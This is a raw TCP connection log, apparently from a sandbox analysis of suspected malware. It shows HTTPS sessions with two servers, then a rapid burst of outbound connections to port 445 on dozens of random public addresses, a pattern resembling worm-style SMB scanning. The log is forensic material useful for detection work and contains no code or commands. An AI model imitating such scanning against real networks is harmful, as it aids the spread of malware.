Jul 20, 2022 19:08:41.546742916 CEST	52566	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:41.546761036 CEST	443	52566	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:41.546818972 CEST	52566	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:41.556526899 CEST	443	52566	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:41.556577921 CEST	443	52566	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:41.556693077 CEST	52566	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:41.556727886 CEST	443	52566	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:41.556751013 CEST	52566	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:41.558051109 CEST	52566	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:41.561187029 CEST	443	52566	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:41.561244011 CEST	443	52566	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:41.561356068 CEST	52566	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:41.561417103 CEST	443	52566	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:41.561440945 CEST	52566	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:41.561521053 CEST	52566	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:41.562969923 CEST	443	52566	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:41.563143969 CEST	52566	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:41.566088915 CEST	443	52566	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:41.566150904 CEST	443	52566	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:41.566243887 CEST	52566	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:41.566282034 CEST	443	52566	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:41.566302061 CEST	52566	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:41.566401958 CEST	52566	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:41.570744991 CEST	443	52566	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:41.570925951 CEST	52566	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:41.571571112 CEST	443	52566	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:41.571660042 CEST	443	52566	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:41.571700096 CEST	52566	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:41.571718931 CEST	443	52566	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:41.571751118 CEST	52566	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:41.571753025 CEST	443	52566	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:41.571794987 CEST	52566	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:41.571816921 CEST	52566	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:41.739433050 CEST	52568	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:41.739480972 CEST	443	52568	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:41.739595890 CEST	52568	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:41.742851019 CEST	52568	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:41.742888927 CEST	443	52568	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:41.801422119 CEST	443	52568	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:41.801609993 CEST	52568	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:41.825920105 CEST	52568	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:41.825944901 CEST	443	52568	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:41.839258909 CEST	52568	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:41.839282990 CEST	443	52568	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:41.845910072 CEST	52570	445	192.168.2.7	193.46.253.20
Jul 20, 2022 19:08:41.857474089 CEST	443	52568	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:41.857520103 CEST	443	52568	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:41.857563972 CEST	443	52568	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:41.857603073 CEST	52568	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:41.857620001 CEST	443	52568	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:41.857650995 CEST	52568	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:41.857702017 CEST	52568	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:41.857940912 CEST	443	52568	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:41.857994080 CEST	52568	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:41.863153934 CEST	52566	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:41.863202095 CEST	443	52566	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:41.973280907 CEST	52571	445	192.168.2.7	212.68.181.98
Jul 20, 2022 19:08:41.980262041 CEST	52572	445	192.168.2.7	160.42.239.238
Jul 20, 2022 19:08:41.981336117 CEST	52574	445	192.168.2.7	199.190.83.228
Jul 20, 2022 19:08:41.993206978 CEST	52575	445	192.168.2.7	189.242.10.66
Jul 20, 2022 19:08:42.002427101 CEST	52576	445	192.168.2.7	150.196.92.222
Jul 20, 2022 19:08:42.003007889 CEST	52577	445	192.168.2.7	197.136.37.229
Jul 20, 2022 19:08:42.009473085 CEST	52578	445	192.168.2.7	85.248.11.177
Jul 20, 2022 19:08:42.009876013 CEST	52579	445	192.168.2.7	40.64.127.1
Jul 20, 2022 19:08:42.083303928 CEST	52584	445	192.168.2.7	179.48.65.160
Jul 20, 2022 19:08:42.083374977 CEST	52588	445	192.168.2.7	104.76.244.195
Jul 20, 2022 19:08:42.083421946 CEST	52589	445	192.168.2.7	89.103.163.232
Jul 20, 2022 19:08:42.096726894 CEST	52590	445	192.168.2.7	129.57.185.73
Jul 20, 2022 19:08:42.097364902 CEST	52591	445	192.168.2.7	164.145.216.58
Jul 20, 2022 19:08:42.098427057 CEST	52593	445	192.168.2.7	206.83.143.245
Jul 20, 2022 19:08:42.098992109 CEST	52594	445	192.168.2.7	94.142.221.60
Jul 20, 2022 19:08:42.099955082 CEST	52596	445	192.168.2.7	213.219.228.3
Jul 20, 2022 19:08:42.100509882 CEST	52597	445	192.168.2.7	55.18.26.89
Jul 20, 2022 19:08:42.101577997 CEST	52599	445	192.168.2.7	92.156.238.227
Jul 20, 2022 19:08:42.102118969 CEST	52600	445	192.168.2.7	73.233.158.24
Jul 20, 2022 19:08:42.105848074 CEST	52607	445	192.168.2.7	50.214.185.233
Jul 20, 2022 19:08:42.106425047 CEST	52608	445	192.168.2.7	21.251.43.110
Jul 20, 2022 19:08:42.107405901 CEST	52610	445	192.168.2.7	126.223.252.29
Jul 20, 2022 19:08:42.107914925 CEST	52611	445	192.168.2.7	84.143.242.190
Jul 20, 2022 19:08:42.108439922 CEST	52612	445	192.168.2.7	133.237.44.89
Jul 20, 2022 19:08:42.108978033 CEST	52613	445	192.168.2.7	32.176.222.143
Jul 20, 2022 19:08:42.109529972 CEST	52614	445	192.168.2.7	6.232.191.56
Jul 20, 2022 19:08:42.110865116 CEST	52616	445	192.168.2.7	119.81.219.26
Jul 20, 2022 19:08:42.111831903 CEST	52618	445	192.168.2.7	140.101.150.9
Jul 20, 2022 19:08:42.112407923 CEST	52619	445	192.168.2.7	200.146.108.159
Jul 20, 2022 19:08:42.113024950 CEST	52620	445	192.168.2.7	134.61.170.174
Jul 20, 2022 19:08:42.184602022 CEST	52621	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:42.184689045 CEST	443	52621	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:42.184812069 CEST	52621	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:42.186752081 CEST	52621	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:42.186784029 CEST	443	52621	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:42.244523048 CEST	443	52621	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:42.244648933 CEST	52621	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:42.254388094 CEST	52621	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:42.254411936 CEST	443	52621	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:42.256372929 CEST	52621	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:42.256386995 CEST	443	52621	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:42.281109095 CEST	443	52621	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:42.281163931 CEST	443	52621	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:42.281188965 CEST	52621	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:42.281212091 CEST	443	52621	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:42.281230927 CEST	52621	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:42.281245947 CEST	443	52621	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:42.281282902 CEST	52621	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:42.281306982 CEST	443	52621	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:42.281320095 CEST	52621	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:42.281352997 CEST	52621	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:42.281418085 CEST	443	52621	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:42.281481981 CEST	52621	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:42.281495094 CEST	443	52621	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:42.281557083 CEST	52621	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:42.281559944 CEST	443	52621	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:42.281616926 CEST	52621	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:42.287879944 CEST	445	52616	119.81.219.26	192.168.2.7
Jul 20, 2022 19:08:42.299618006 CEST	52622	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:42.299669027 CEST	443	52622	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:42.299806118 CEST	52622	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:42.300123930 CEST	52622	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:42.300144911 CEST	443	52622	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:42.353607893 CEST	443	52622	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:42.353744030 CEST	52622	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:42.374320030 CEST	52622	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:42.374337912 CEST	443	52622	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:42.391089916 CEST	52622	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:42.391107082 CEST	443	52622	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:42.408953905 CEST	443	52622	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:42.408986092 CEST	443	52622	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:42.409060001 CEST	52622	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:42.409065008 CEST	443	52622	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:42.409080982 CEST	52622	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:42.409127951 CEST	52622	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:42.434750080 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.434806108 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.434900045 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.436584949 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.436606884 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.517183065 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.517306089 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.525247097 CEST	52568	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:42.525276899 CEST	443	52568	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:42.547739983 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.547777891 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.548305035 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.548389912 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.553611040 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.596502066 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.631653070 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.631688118 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.631717920 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.631772995 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.631817102 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.631824017 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.631882906 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.633471012 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.633507013 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.633641958 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.633655071 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.633704901 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.634211063 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.634287119 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.636145115 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.636169910 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.636274099 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.636286020 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.636308908 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.636336088 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.647012949 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.647041082 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.647124052 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.647136927 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.647207975 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.647228956 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.648796082 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.648899078 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.650650978 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.650677919 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.650793076 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.650804996 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.650872946 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.652457952 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.652513027 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.652571917 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.652581930 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.652625084 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.652652979 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.653283119 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.653373003 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.663880110 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.663918972 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.664045095 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.664066076 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.664122105 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.665540934 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.665575981 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.665714025 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.665728092 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.665755033 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.665791988 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.667859077 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.668029070 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.668045044 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.668064117 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.668236971 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.668272018 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.668284893 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.668329954 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.668363094 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.671251059 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.671315908 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.671375990 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.671389103 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.671448946 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.671478987 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.674717903 CEST	52621	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:42.674753904 CEST	443	52621	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:42.675656080 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.675792933 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.675899029 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.676002026 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.676050901 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.676059961 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.676114082 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.676152945 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.677378893 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.677495956 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.677546024 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.677556992 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.677608967 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.678209066 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.678263903 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.678400993 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.679300070 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.679327965 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.679429054 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.679445982 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.679482937 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.679517984 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.683154106 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.683190107 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.683262110 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.683339119 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.683358908 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.683401108 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.683449984 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.686470985 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.686502934 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.686580896 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.686595917 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.686630011 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.686664104 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.688179016 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.688290119 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.688329935 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.688349009 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.688368082 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.688376904 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.688438892 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.688456059 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.688474894 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.688543081 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.690064907 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.690097094 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.690201998 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.690221071 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.690279007 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.692192078 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.692226887 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.692327023 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.692334890 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.692353010 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.692406893 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.692413092 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.692440033 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.692459106 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.692475080 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.692522049 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.692570925 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.692596912 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.692625999 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.692687035 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.692698956 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.692728043 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.692728996 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.692787886 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.692828894 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.692842007 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.692867041 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.692945957 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.692964077 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.692984104 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.693028927 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.694952011 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.695030928 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.695272923 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.695295095 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.695317030 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.695538998 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.695560932 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.695995092 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.698291063 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.698321104 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.698442936 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.698466063 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.698533058 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.698611975 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.698643923 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.698704958 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.698719025 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.698750019 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.698775053 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.698949099 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.699053049 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.699059010 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.699079037 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.699130058 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.699151039 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.699172020 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.699183941 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.699258089 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.699268103 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.700320005 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.700351000 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.700464010 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.700551033 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.700592041 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.908498049 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:42.908659935 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:42.938703060 CEST	52616	445	192.168.2.7	119.81.219.26
Jul 20, 2022 19:08:42.956238031 CEST	52627	445	192.168.2.7	87.239.147.56
Jul 20, 2022 19:08:43.098057985 CEST	52628	445	192.168.2.7	6.8.124.95
Jul 20, 2022 19:08:43.098560095 CEST	52629	445	192.168.2.7	153.196.18.215
Jul 20, 2022 19:08:43.099843979 CEST	52631	445	192.168.2.7	197.10.37.53
Jul 20, 2022 19:08:43.115730047 CEST	445	52616	119.81.219.26	192.168.2.7
